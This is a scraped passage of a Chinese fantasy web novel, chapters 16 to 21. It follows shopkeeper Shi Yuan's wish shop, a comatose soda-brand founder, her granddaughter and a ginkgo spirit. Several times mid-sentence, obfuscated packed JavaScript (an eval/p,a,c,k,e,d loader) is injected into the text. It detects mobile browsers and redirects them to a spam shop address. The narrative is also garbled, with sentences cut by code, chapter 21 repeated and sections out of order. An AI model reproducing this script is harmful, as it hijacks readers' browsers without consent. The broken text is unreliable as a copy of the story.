“请问，我可以办一张会员卡吗？”周怀瑾悄悄在裤缝上擦了擦手心汗，店主年纪看着比他儿子还小，可是面对她的时候，他很有压力。 “当然可以。”时愿说，“新活动，充500送20。” 周怀瑾有一个大胆的想法：“如果想借用厨房，是另外的价钱吗？” 从一个五十多岁的长辈口中听到这句话，时愿忍俊不禁：“叶先生是我们店的超级vip客户，借用厨房免费，只需要给我家小猫分一碗。” 离开杂货铺，周怀瑾喜滋滋地捧着会员卡，决定今晚一定要好好研究它的奥秘。 他突然想到一个问题：“小鹤办会员卡了吗？” 叶幽尘：“没有。” “为什么？这浑小子又在犟什么？” “他说他不配。” “……嗯，倒是很有自知之明。”周怀瑾看着叶幽尘的耳朵，奇怪道，“你耳朵怎么这么红，又发烧了吗？” “没有。”叶幽尘侧了侧手机屏幕，将店主发在朋友圈的雨夜速写保存到手机。 时愿收到了吴雨的信息。 吴雨之前订购了四把雨伞，本来是想到店自取，现在因为某些原因来不了了，请时愿寄到付件。 时愿爽快答应。 吴雨发了个拜谢大佬的表情包，又问：荔枝汽水事件有后续吗？小朋友的姐姐痊愈了吗？ 时愿也不知道，那个小女孩没有再来过店里，她也没有记住她家长的电话号码。就算记住了，也不好贸然打电话去问。 时愿久违地登上某书账号，点赞通知和私信像雪花一样汹涌而来，手机瞬间卡死。 只好关掉软件，重新打开，这回顺畅了。 近三万点赞、一万多的评论。 有人分享自己和荔丽汽水的故事，有人好奇它的味道，有人夸小朋友对姐姐真好，有人想知道姐姐的故事，有人问她接不接广告，有人问她的店在哪里……还有许许多多的人，像吴雨一样，想知道后续。 一颗毛茸茸的脑袋凑过来，好奇地看着屏幕。 时愿顺手撸了撸猫猫头：“你能看懂吗？这是我之前发的找汽水求助帖，很多网友在关心树生姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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向黎念完自称“树生的姐姐”在网上发的回帖，放下手机，看向躺在病床上的奶奶，看到一行清泪从老人的眼角流下。 向黎激动得也跟着掉了眼泪，立刻唤来医生。 这位老人，就是荔丽汽水的创始人，李丽。前段时间，李丽出了意外，昏迷至今，几乎对外界没有反应。 “这是一个好的信号。”医生说，“如果她的求生意志足够强烈，或许能醒过来。” 向黎轻柔地整理着奶奶新长出来的银发，让她保持着和平时一样的整洁。 “奶奶，我要找到这家杂货铺，它一定能创造出第二个奇迹。” “等你醒来，我们再去看那棵银杏树。” 17. 第 17 章 早上九点。 时愿推开杂货铺的窗户，看到银杏树的叶子染上了大片的黄色。晨光为银杏叶勾出金边，风一吹，如同成千上万只蝴蝶同时扇动翅膀。 秋天更近了。 看到银杏树，时愿想起树生姐姐的回帖。 听说她的手术很成功，时愿由衷地为她感到高兴。 关注这件事的网友们也有同样的心情，回帖太多，时愿根本看不过来。 一片银杏叶落在窗台，时愿捡起它放到桌上，翻出树生之前送的银杏叶和松果。 闲来无事，用它们做手工风铃吧。 一个挂在店里，一个送给奶奶。奶奶很喜欢这种带有自然气息的手工艺品。 时愿刚用树枝绕好框架，老林来了。 他送来了一大箱的新鲜鱼虾和自制的咸鱼。 “林叔，这也太多了，我吃不完啊。” “不多不多，你拿回家分一分刚刚好。”老林指着自己的脸颊，眼尾堆起笑纹，“我按照你说的做，今天只剩下一点印子了。多亏了你，我才捡回一条命，送点自家养的鱼虾算什么？” “这些鱼虾我可以收，昨天你多付的钱我不能收。”时愿问，“你想要转账还是现金？” 老林猜到她不肯收，早都想好了：“你给我办一张会员卡，把钱先存起来，我快要搬新家了，要买很多东西，这几百块恐怕还不够咧。” 老林前脚刚走，罗婶后脚就来了。 罗婶问时愿晚上有没有空到家里吃饭。 这是之前说好的事情，时愿爽快地答应了。 “罗婶，你不用买菜了，刚才林叔送了一箱鱼虾过来。”时愿揭开泡沫箱，两只生猛的大虾蹦了半米高，又掉进水里。时愿赶紧盖上盖子，拜托罗婶，“你可以帮我把这箱鱼虾带回村里吗？一半我们晚上吃，一半给我大伯家。” 罗婶：“当然没问题，这么多鱼虾，你想怎么吃？白灼、清蒸还是红烧？我最近跟我女儿学了酸菜鱼和水煮鱼，我女儿给我寄了花椒和干辣椒，味道很正宗的哦。” 听她这样说，时愿想起了热油淋在花椒上的香味，食指大动：“我想吃水煮鱼。” 商量好晚上的菜谱，两人合力把泡沫水箱搬到小电驴上。罗婶朝她挥挥手，回村去了。 …… 向黎在寻找荔丽汽水的热帖下留言，希望店主能回复私信。因为自称是创始人的孙女，她的评论引起了网友的关注，被点赞顶到了评论区上方。 向黎抓心挠肝地等了一天，没有等到店主的回复。 从店主上线的频率来看，此人不爱上网。帖子热度这么高，店主都没有趁热度给自家小店打打广告，非常佛系。 此人下一次上线，没准是几个月后…… 向黎等不及了，她决定先去找到故事中的银杏树。 到时候回来，和奶奶说一说银杏树的现状，或许奶奶听了会有点反应。 望海市少有人种银杏树，老树就更少了，向黎查到几个地方，锁定了一个地址——这里最靠近奶奶老家。 明天一早，她就坐车过去。 时愿准时打烊，开着小电驴回村里。 奶奶在院门口等她，一见她来，就笑弯了眼睛。 “奶奶，看我给你带了什么。”时愿拿出一串银杏叶风铃，晚风一吹，发出动人的声响，“叶毓芳女士，喜欢吗？” “你自己做的吧？”奶奶的眼睛被晚霞映亮，满心欢喜，“太好看了，乖宝，我太喜欢了。” 时愿停好车，凑近看奶奶的脸：“奶奶，你有黑眼圈了，最近没睡好吗？” “这几天睡得不好。”奶奶摸了摸脸，孩子气地皱眉，“晚上老是听到罗妹家的大鹅在叫。” “我一会儿和罗婶说说，看能不能把大鹅挪远一点。”时愿问她，“风铃你想挂在哪里呀？” “挂我窗边。”奶奶又笑了起来，“风铃声我不嫌吵。” 奶奶不喜欢去别人家里吃饭，时愿帮她挂好风铃，自己去了罗婶家。 罗婶和石叔早就张罗了一桌丰盛的菜肴，时愿刚进院子，罗婶就招呼她坐下喝汤。 “我炖了一个多小时，你快尝尝甜不甜！” 没有看到石爷爷，时愿问：“石爷爷吃饭了吗？” 罗婶：“吃了吃了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大鹅挺着结实的胸脯大摇大摆地走到月光底下吸收月华，它感受着灵气在身体里流动，产生了引吭高歌的冲动。 突然，它想起那双深邃冷漠的眼睛，吓得浑身一激灵，老老实实地闭上了嘴巴。 18. 第 18 章 夜晚，罗婶躺在床上，竖起耳朵听外面的动静。 平时嘎嘎叫的大鹅，今晚异常安静。 罗婶越发笃定自己的猜想，压低声音道：“小愿真的能和动物交流，就像某些人能和黄大仙交流一样。她让大鹅今晚别吵，大鹅就真的不叫了。” “我之前就隐隐约约感觉，咱们家这只大鹅，自从咱爸……那件事之后变得有灵性了。不知道你有没有发现，它经常盯着我们看，就像在观察我们，学习怎么做个人。”石叔搓了搓冒出鸡皮疙瘩的手臂，“不说这个了……你说，小愿这么有本事，为什么要回咱们这个小地方呢？” 罗婶：“想回家乡生活需要什么理由？” “也是。”石叔感慨，“说不定，小愿就是为了守护这个地方而出世的，你还记得她小时候发生的事吗……” “嘘。”罗婶把露在外面的脚缩回被子里，声线微微颤抖，“大晚上不要说这个。” …… 洗完澡出来，时愿接到了爸妈的视频电话。 时爸爸捧着手机，角度非常刁钻，一张俯视的大脸占据整个屏幕：“小愿，能听到吗？” “哎呀，你手机拿远点，别给小愿看你的鼻孔！” 时妈妈上手调了一下角度，两人同时露脸，时愿才看清楚，他们坐在民宿客厅的藤条沙发上，背后还站着一个笑眯眯的姑娘。 大约是注意到时愿的视线，身着白衣的姑娘朝她挥了挥手。 时愿愣了愣：“交到新朋友了？” “是呀！”时妈妈和时愿长得很像，唯独眼睛偏圆润，笑起来尤其温柔，“民宿老板人年轻，性格又开朗，今天带我们逛了古城，我们给你买了好多当地的特色首饰、衣服和土特产哦，你看！” 时妈妈转动镜头，给时愿看她的战利品，礼盒礼袋占据了半边沙发。 “店里都能寄快递，我不想你拿快递的时候跑太多次，干脆拿回来自己寄，明天就给你寄回去哦。” 镇上的快递不支持送货上门，要去快递站取。 “买太多了，提着这些逛街多累啊。”时愿说，“我什么都不缺，你们好好享受旅途就好。” “这哪里多啦？你是没看到你琴姨和你郭叔，他们快把整座古城都买空了。”时妈妈说，“看到好多东西都好适合你，全都想买下来。” 时爸爸秀手臂上的肌肉：“不多不多，我提着轻飘飘的，还能给你妈妈拍美照。” 时愿捧场：“美照发给我欣赏一下。” “你爸的技术还得再练练，跟你比差远了。”时妈妈嘱咐道，“还有些是买给奶奶和大伯家的，我用便利贴区分开，你收到快递之后送回村里。酥饼没有防腐剂的，要尽快吃掉！” 时妈妈嫌手累，把手机固定在茶几上，一边写便利贴一边和时愿说起最近旅游的见闻。 时愿每次抬头看屏幕，都能看到那位年轻的民宿老板在看镜头，似乎在打量她。 难道是介意视频声音外放？时愿刚想提醒爸妈戴蓝牙耳机，时妈妈就打了个哈欠：“宝贝女儿，我困得睁不开眼睛了，你也早点睡，晚安。” 时爸爸和时妈妈提着东西回房间，时妈妈道：“小愿真是太了解我们了，我们什么还没说呢，她就看出来我们交上新朋友了。” 时爸爸笑道：“因为你把心情写在脸上了。” 时妈妈伸了个懒腰：“好安静啊。” “其他人都出去参加篝火晚会了，就剩咱俩，当然安静啦。” “反正我是没有精力去了。” 一个身着白衣的姑娘跟在他们身后，直到被紧闭的房门挡在外面，她才停下脚步，长久地注视着门上的猫眼，唇角扬起古怪的弧度。 “晚安，我未来的爸爸妈妈。” 冤死在这片土地的白衣女子变成恶鬼，徘徊百年，终于攒够了夺舍的力量。 精挑细选数年，她一直没有挑中满意的身体。 这栋民宿很平价，入住这里的年轻游客，个个怨气比她还重。 本来想随便挑一个人算了，谁知老天竟然把小愿送到了她面前。 在看到小愿的一瞬间，她脑中闪过很多美好的词语。但她最喜欢的，是小愿那身平和的气质。 最难得的是，小愿拥有一个幸福美满的家庭。 那些大包小包的特产里，装满了小愿父母对她的爱意。 丰沛的情感可以为灵魂保驾护航，白衣女子决定藏进特产里，搭顺风车去到小愿身边。 等小愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16371691|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拆开快递的瞬间，夺取她的身体，取代她的身份，享用她拥有的全部爱意。 回想起那通视频电话，白衣女子总觉得，自己好像和小愿对上过视线。 错觉吧，普通人怎么可能看得见她？ 要是看见了，反应怎么可能那么平淡？ …… 望海市。 周怀瑾正在和灵师协会的副会长通话。 “副会长，有一位前辈想加入我们协会。” 深知店主的低调作风，事成之前，周怀瑾不打算透露她的个人信息。 副会长符城：“协会暂时没有招新计划。” “副会长，这位前辈实力强劲，就是她帮助我捕捉到了冥河水妖，我认为她能带领我们协会再上一个高度。” 带领？ 符城捕捉到关键词，眉头紧锁。 他看过此次冥河水妖事件的报告，十几份报告全都语焉不详，对周怀瑾捕捉到冥河水妖，叶幽尘逃脱虚境的过程只字不提。 只是隐约听说，他们在桂圩镇获得了某种机缘。 现在周怀瑾本人亲口承认了，这个“机缘”是一个人。 符城的大脑飞快地运转，在他看来，这位高人踩着这个时机出现在桂圩镇，帮助周怀瑾，绝对不是一个巧合。 此人是想借周怀瑾为踏板，以冥河水妖为投名状，进入灵师协会，取代某位管理层！ 想取代会长没那么容易，其他职位的权力又太小了…… 副会长之位是最合适的。 符城心中一凛：“这个事情我做不了主，商讨过后再给你答复，你先提交一份详细的档案给我。” 这晚，符城辗转反侧，彻底失眠了。 时愿睡得很香，充足的睡眠让她感到神清气爽。 吃早餐的时候，给奶奶打了个电话：“奶奶，昨晚睡得怎么样，那只大鹅还吵不吵？” “我不知道它有没有叫，昨天晚上我躺在床上，听到风铃的声音，很快就睡着了。”奶奶说，“今天早上起来一看，黑眼圈都消失了。要是天天都睡得这么好，我能活到120岁。” 时愿：“那我希望你可以活到200岁。” “那不成仙了吗？”奶奶哑然失笑。 19. 第 19 章 望海市，画卷山。 向黎站在山脚下，看着眼前的废墟，举起手机，和屏幕里的照片对照。 这张照片拍摄于两个月前，不过短短时间，照片里茂盛的银杏树竟然变成了一堆灰烬。 要是奶奶知道，见证了她半生故事的银杏树没有了，会不会更受打击，更不愿意醒过来？ 不管怎样，先弄清楚这里发生了什么事吧。 向黎回到十字路口，等有人路过，连忙打招呼：“你好，你知道那边那棵老银杏树是怎么没的吗？” 这人个子很矮，戴着一顶草帽，头垂得很低，被拦下后，也没有抬起头，低声道：“你听说过雷劫吗？” 向黎怀疑自己听错了，下意识反问了句：“什么？” “那棵老银杏树不久前被雷劈了，火势很大，差点引起山火，还好那天的雨也很大，把雷火扑灭了。附近的居民分掉了没有被烧毁的雷击木，这会儿应该已经卖掉了。” 这人有很重的口音，还好他说话慢，向黎又听得很专心，基本听明白了。 “竟然是这个原因。”向黎心情复杂，想着去奶奶的老家看看，便对这人说，“谢谢啊，我先走了。” “等一下。”这人往前一步，挡住她的去路，“你看我像人吗？” 像是练习过千百次，他说这句话的时候，半点口音也没有，正因如此，显得特别突兀。 “你看我像人吗？” 这人见她不回答，急不可耐地追问。 一阵风吹来，这人身上的宽大衣服被风鼓起，向黎比他高，一不小心看到他毛茸茸的后背，瞬间惊出一身冷汗。 向黎后知后觉地发现，这里寂静到了古怪的地步，靠近山林的十字路口，就算没有行人，也不可能连一辆经过的车都没有。 而且，林子里的鸟不叫了。 “你看我像人吗？”这人不依不饶，靠得更近了，“只要回答我，你就可以走了。” 向黎闻到了一股野兽的味道。 这人……不是人！ 心脏跳得太快，向黎感到一阵头晕目眩，不知道哪里来的勇气，她抿紧嘴唇，拼命抬起沉重的双腿，扭头就跑！ 后面传来喝止声，一声比一声恼怒，风声越来越大，刮得林子飒飒响。 那“人”追上来了！ 平时在学校里跑八百米都气喘如牛的人，这会儿跑出一身大汗，怕得牙关打颤，都不敢停下来。 不知道跑了多久，路上终于出现了一辆城乡巴士，前面有个候车亭，向黎边跑边挥舞手臂，用平生最大的声音喊道：“等等我！等等我！我要上车！” 巴士停下，向黎急急忙忙跑上车，不料一脚踏空，被乘务员阿姨及时抓住手臂，才没摔趴下。 “别急啊，跑得跟背后有鬼追似的，很危险啊。”乘务员阿姨给她递纸巾，“这汗津津的，吹了空调准感冒，快擦擦。” 乌云散开了，阳光照进车厢里，向黎握着一包纸巾，看着乘务员阿姨亲切的脸，有种劫后余生的感觉，眼泪夺眶而出。 “哎哟，怎么哭了呀？我不是在骂你，快坐下缓缓。”乘务员阿姨给她找位置坐下，“是不是哪里摔疼了？” 向黎胡乱地摇头，说不出话来，总不能说自己青天白日的在路上撞邪了吧？ 车上的乘客你一言我一语地安慰向黎，有个奶奶还给她塞了一只香梨，向黎从小到大的外号都叫“香梨”，她闻着梨子的清香，渐渐冷静下来。 乘务员阿姨问：“小姑娘，你坐到哪一站啊？到了我提醒你。” 大概是怕她精神恍惚，坐过站。 向黎把这辆车当成一阵及时雨，根本没看巴士路线，抬头一看，停靠的站点都很陌生，而且每一站都离得很远。 给她香梨的奶奶看到她脖子上的相机，笑了笑：“是去桂圩镇拍大海吧？那里的海很蓝啊，要是想拍落日，估计赶不上末班车，那里有家叫听海的酒店干净又便宜。我孙女儿也喜欢拍照片，这些都是她告诉我的。” 向黎本来想在下一站下车，打车回家。但是听完路人奶奶的这番话，向黎有些心动。 上小学的时候，他们家经常去海岛玩，她最喜欢和奶奶一起捡贝壳。去桂圩镇的沙滩上捡点贝壳，做成风铃挂在病床旁边，能不能唤起奶奶的记忆呢？ 想到即将抵达的那片蓝海，心情也变得轻松起来。 “嗯，我要去桂圩镇。” 一个多小时后，巴士抵达终点站——桂圩镇。 下车的时候，乘务员阿姨特意问向黎：“小姑娘，心情好点了吧？” “好多了。”向黎很不好意思，“给你们添麻烦了。” “这是什么话？人活在世上哪能不麻烦别人呢？”阿姨笑着拍了拍她的手臂，“放轻松，不知道你之前遇到了什么事，但来到桂圩镇，肯定能遇到好事的。” 会有好事发生吗？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16377596|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但愿吧。 桂圩镇不大，向黎打算吃点东西再出发去海边。 网上说锦鲤面馆味道很不错，是桂圩镇必吃榜第一名。 向黎跟着导航走了没多远，视线里出现一抹漂亮的黄绿色。 是银杏树！ 在一片绿意盎然的行道树中，竟然有一棵银杏树！ 这棵银杏还很年轻，可是有种难以用词汇形容的美丽。 向黎的目光再也挪不开了，走到树下，向黎看到了树对面的杂货铺。 老旧的瓦房，让人担心它能不能撑过海镇的台风。 木质招牌上的字已经褪色了，勉强可以辨认出来上面有些稚嫩的手写字体：愿望杂货铺。 向黎对这家店没什么兴趣，只想拍几张银杏的照片。 手机弹出一个通知框。 向黎扫了一眼，下一秒，眼睛睁到最大。 店主上线了！ 而且回复了她的私信！ ［许个愿］：你好，才看到你的消息，我的杂货铺在望海市桂圩镇天晴街道88号，名字叫愿望杂货铺。 天晴街的愿望杂货铺，不就是她面前的这一家吗？ 向黎惊讶地看向杂货铺，只见店门口站着一个抱着猫的美人姐姐，望着她的那双眼睛仿佛会说话。被店门一框，活脱脱像一副画。 向黎心中一阵悸动，她终于明白“蓦然回首，那人却在，灯火阑珊处”是什么感觉了！ 冥冥之中有股力量在指引她找到愿望杂货铺！ 店主对她笑了笑：“喜欢这棵树？” “喜欢。”向黎自报家门，“我的网名是爱吃香梨，我私信过你，我奶奶是荔丽汽水的创始人。” “其实我刚刚才收到你的回复，我是误打误撞找到这里来的！” 向黎兴奋得脸蛋微红，配合她哭肿的眼睛，看着有点喜感。 时愿请她进店里坐，给她倒了杯水：“你找我有什么事呢？” “我奶奶前段时间出了意外，现在还在昏迷状态。我给她念了树生姐姐的评论后，她第一次对外界有了反应。”向黎表情认真，“你的店给树生姐姐带去了希望，是一家奇迹商店，我想来给奶奶买祈福的东西，希望她能恢复健康。” 时愿：“……” “我也希望你奶奶能早日康复，但是我们店没有这种商品哦。” 虽然名字叫愿望杂货铺，但真不能实现心愿啊。 21. 第 21 章 返程的这辆车应该是真的普通大巴，这个时间没有什么乘客，巴士不用频繁停靠站点，路上也不堵车，一个小时后，提前到达汽车客运站。 下车的时候，向黎看着熟悉的街景，恍如隔世。 她坐公交车直奔医院。 给鲜花换了水，向黎坐到病床边，对李丽说起今天的经历。 “奶奶，这一切都太奇幻了，虽然是亲身经历，但是我还是觉得不真实，这些记忆会不会变得越来越模糊，最终被我遗忘啊？” 向黎双手握住李丽的手，专注地看着她的脸：“不管未来会怎么样，正因为这些不真实的奇遇，此时此刻，我无比确信，奇迹一定会降临在你身上。” “奶奶，我把店主送给我的风铃挂在窗边，希望它能将好的声音传达给你。快点醒来陪陪我吧，其实我心里还是有点害怕。” 向黎把银杏叶风铃挂在窗边，拜托护工阿姨：“麻烦您留心，开关窗户的时候不要让风铃掉下去。要是医院不让挂，您给我打电话，千万别扔了。” 护工刘莹听了全程，心里一直在嘀咕：小姑娘今天编的故事有点太离谱了。见多了古怪的病人家属，刘莹没多嘴，只说：“vip病房吵不到别人，就一个小风铃，医生不会说什么的。像你奶奶这种情况，多听点外界的声音，说不定有效果呢。” …… 这是一个昏暗的车站。 车站没有名字，没有列车时刻表，候车室里坐满了人，有的人拿着行李，有的人两手空空。 李丽看不清楚他们的脸。 她手上没有行李，后脑勺很痛，似乎跌过一跤。 李丽摸了摸后脑勺，看到一手的血。 地上亮起一个惨绿色的路标箭头，上面写着：回家。 不知道这里是哪儿，但她必须要抓紧时间回家。 李丽拖着麻木的右腿，一瘸一拐地跟着路标走。 走着走着，箭头拐了个弯，指向前方的阶梯。 李丽抬头望去，一眼看不到尽头。 可是回家的执念让她毫不犹豫地往上爬。 她爬了很久很久，久到她觉得自己的血要流干了，依旧看不到尽头。 旁边的旅客坚持不下去了，转身下楼梯。 李丽看了一眼，他前面的路标变成了红色，上面的字看不清楚。 但是她知道，走下去，就回不了家了。 可她太累了，失血过多导致体温下降，身体变得好沉重，连眼皮都抬不起来了。 她实在太老了。 年轻的时候，摔得头破血流，第二天纱布一缠，还照样去上工呢。 李丽扶着扶手，缓缓坐在台阶上。 她看着自己的手，皮肤松弛地堆出皱纹，散落着一颗颗斑点，微微颤抖着。这双手干什么都不行啦，连画笔都握不稳了。 这双腿也是不中用了，爬楼梯的时候，膝盖痛，腰椎也痛，活像被针扎一样。 是不是到了该离开的时候？ 顺着楼梯向下走，就能从这副衰老的身体中解脱吗？ 李丽心里有些动摇，颤颤巍巍地站起来，朝下一级阶梯伸出脚。 “丁零……” 顶上传来一阵悦耳的风铃声，李丽收回脚，扶着阶梯往上看。 一片发着光的叶子从上方飘落下来，离得近了，李丽才看清楚，这是一片银杏叶。 银杏……待在候车室的时候，她好像听到谁和她提起银杏。 老家附近有一棵千年银杏，秋景很壮观。她在那棵树下遇见了初恋，在那棵树下画出了最满意的作品，在那棵树下有过人生最美满的时刻，在那棵树下留下过最苦涩的眼泪，后来，她再也没去看过那棵树。 李丽伸手接住落下的银杏叶，叶柄处缠绕着一根细线，她轻轻一拽，上方又响起一阵清脆的丁零声。 昏沉的脑袋变得清醒，身体也暖和了起来，四肢仿佛被注入了一股能量。 李丽握着银杏叶，继续往上爬。 她一动，风铃也跟着响，有时会带来一个熟悉的声音。 李丽竖起耳朵仔细听，这个声音在说—— “奶奶……” “快点醒来……” 这是、这是她小孙女的声音！对了，她有个很可爱的小孙女，她要是不回家，小孙女心里肯定很着急。 “奶奶……快点回家……” “我……害怕……” 心脏有种被揪住的感觉，一阵阵地抽痛。 “乖宝，你不要害怕，奶奶这就去找你！” 李丽心急如焚，干脆跑了起来，她完全感受不到疼痛，漫长的台阶也不可怕了。 她一口气跑上了月台。 一辆列车缓缓进站，温暖的灯光穿透浓雾，有种难以抵挡的吸引力。 月台上站着一个穿白色制服的客运员，肩宽腿长，戴着一顶高高的帽子，腰上别着手铐，手上拿着一个喇叭。 客运员面向她，举起喇叭：“这位女士，马上要发车了，抓紧时间上车。” 李丽急急忙忙上车。 空旷的车厢里，只坐着一个年轻姑娘，身着一件绿色连衣裙，裙摆处渐变成黄色。见到她，姑娘笑了笑：“李丽，你还记得我吗？” 李丽摇头：“我应该没见过你。” 姑娘笑起来有很深的酒窝，眼睛是天然的黄绿色。如果她见过，绝对会记忆深刻。 “我是那棵千年银杏，我叫白绘秋。”白绘秋扬手，洋洋洒洒的银杏叶落满车厢。 李丽用双手捂住嘴巴，眼里写满了难以置信：“我在做梦，是吗？” “不是哦，你在鬼门关。坐下吧，这辆列车还要开很久。”白绘秋轻描淡写地说完，朝她身后挥了挥手。 李丽回头一看，那位穿着白色制服的客运员也上了车。 这里要是鬼门关，这位客运员是…… 李丽不敢深想，在白绘秋对面落座，低声问：“这到底是怎么一回事，你怎么会来救我呢？” 李丽明白，若非银杏叶及时出现，她可能再也上不来了。 “你有一个乖孙女。”白绘秋解释，“她找到愿望杂货铺，求店主救你。店主对我有恩，我如今正在她的店门前打工报恩。” 李丽还未追问愿望杂货铺是什么地方，列车发车了。 她看向窗外，浓雾之中，过往人生中记忆深刻、意义非凡的一幕幕如电影画面般浮现。 列车停下的时候，浓雾散去，李丽在车窗上看到自己的倒影。 倒影问：“李丽啊，你活够了吗？” 李丽摇头：“我还没活够呢！” “那就好，你回去吧。” “你提着风铃，下车之后，乘坐手扶梯上去，跟着指示牌出站，记住了，千万不要回头，也不要和路上的人搭话。” “白姑娘呢？不和我一起回去吗？”李丽看向四周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不，不管发生什么她都会好好生活，但是我是恋爱脑。”苏烛强撑着坐起来，鲜血落在长睫上，浸入眼睛，他随手一擦，面不改色地把断掉的手臂接回去，“我就算是爬，也要爬回去看她一眼。” “恋爱脑又是何意？” “只可意会，不可言传。” “……你的诚心打动了我，我决定传授给你一个法子。只是，这个办法极危险，易失败，且要忍受常人难以忍受的痛苦。就算成功了，她也看不见你，你也不能同她说话，你可愿意？” 苏烛抓住陆盛的手臂，目光灼灼地看着他：“细说。” “撒手，爪、爪要断了！”陆盛疼得吸气，“听好了，招摇山上有一种树，叫迷榖，你去找到这种树的叶子。我再教你该怎么做。如果那位佳人的所在之处灵气稀薄，我就无法将你的魂魄送出去。” …… 时愿向奶奶请教了在院子里种菜的方法。 奶奶说，过两天要下雨，她要趁着天晴，把院子的泥土翻一遍，等雨水浸透土地，到时候再整地，下菜种菜苗。 时愿回家拿了翻土专用的锄头，在院子里圈出菜园的区域。 一锄头下去，带起泥土的同时，灵气翻涌。 21. 第 21 章 返程的这辆车应该是真的普通大巴，这个时间没有什么乘客，巴士不用频繁停靠站点，路上也不堵车，一个小时后，提前到达汽车客运站。 下车的时候，向黎看着熟悉的街景，恍如隔世。 她坐公交车直奔医院。 给鲜花换了水，向黎坐到病床边，对李丽说起今天的经历。 “奶奶，这一切都太奇幻了，虽然是亲身经历，但是我还是觉得不真实，这些记忆会不会变得越来越模糊，最终被我遗忘啊？” 向黎双手握住李丽的手，专注地看着她的脸：“不管未来会怎么样，正因为这些不真实的奇遇，此时此刻，我无比确信，奇迹一定会降临在你身上。” “奶奶，我把店主送给我的风铃挂在窗边，希望它能将好的声音传达给你。快点醒来陪陪我吧，其实我心里还是有点害怕。” 向黎把银杏叶风铃挂在窗边，拜托护工阿姨：“麻烦您留心，开关窗户的时候不要让风铃掉下去。要是医院不让挂，您给我打电话，千万别扔了。” 护工刘莹听了全程，心里一直在嘀咕：小姑娘今天编的故事有点太离谱了。见多了古怪的病人家属，刘莹没多嘴，只说：“vip病房吵不到别人，就一个小风铃，医生不会说什么的。像你奶奶这种情况，多听点外界的声音，说不定有效果呢。” …… 这是一个昏暗的车站。 车站没有名字，没有列车时刻表，候车室里坐满了人，有的人拿着行李，有的人两手空空。 李丽看不清楚他们的脸。 她手上没有行李，后脑勺很痛，似乎跌过一跤。 李丽摸了摸后脑勺，看到一手的血。 地上亮起一个惨绿色的路标箭头，上面写着：回家。 不知道这里是哪儿，但她必须要抓紧时间回家。 李丽拖着麻木的右腿，一瘸一拐地跟着路标走。 走着走着，箭头拐了个弯，指向前方的阶梯。 李丽抬头望去，一眼看不到尽头。 可是回家的执念让她毫不犹豫地往上爬。 她爬了很久很久，久到她觉得自己的血要流干了，依旧看不到尽头。 旁边的旅客坚持不下去了，转身下楼梯。 李丽看了一眼，他前面的路标变成了红色，上面的字看不清楚。 但是她知道，走下去，就回不了家了。 可她太累了，失血过多导致体温下降，身体变得好沉重，连眼皮都抬不起来了。 她实在太老了。 年轻的时候，摔得头破血流，第二天纱布一缠，还照样去上工呢。 李丽扶着扶手，缓缓坐在台阶上。 她看着自己的手，皮肤松弛地堆出皱纹，散落着一颗颗斑点，微微颤抖着。这双手干什么都不行啦，连画笔都握不稳了。 这双腿也是不中用了，爬楼梯的时候，膝盖痛，腰椎也痛，活像被针扎一样。 是不是到了该离开的时候？ 顺着楼梯向下走，就能从这副衰老的身体中解脱吗？ 李丽心里有些动摇，颤颤巍巍地站起来，朝下一级阶梯伸出脚。 “丁零……” 顶上传来一阵悦耳的风铃声，李丽收回脚，扶着阶梯往上看。 一片发着光的叶子从上方飘落下来，离得近了，李丽才看清楚，这是一片银杏叶。 银杏……待在候车室的时候，她好像听到谁和她提起银杏。 老家附近有一棵千年银杏，秋景很壮观。她在那棵树下遇见了初恋，在那棵树下画出了最满意的作品，在那棵树下有过人生最美满的时刻，在那棵树下留下过最苦涩的眼泪，后来，她再也没去看过那棵树。 李丽伸手接住落下的银杏叶，叶柄处缠绕着一根细线，她轻轻一拽，上方又响起一阵清脆的丁零声。 昏沉的脑袋变得清醒，身体也暖和了起来，四肢仿佛被注入了一股能量。 李丽握着银杏叶，继续往上爬。 她一动，风铃也跟着响，有时会带来一个熟悉的声音。 李丽竖起耳朵仔细听，这个声音在说—— “奶奶……” “快点醒来……” 这是、这是她小孙女的声音！对了，她有个很可爱的小孙女，她要是不回家，小孙女心里肯定很着急。 “奶奶……快点回家……” “我……害怕……” 心脏有种被揪住的感觉，一阵阵地抽痛。 “乖宝，你不要害怕，奶奶这就去找你！” 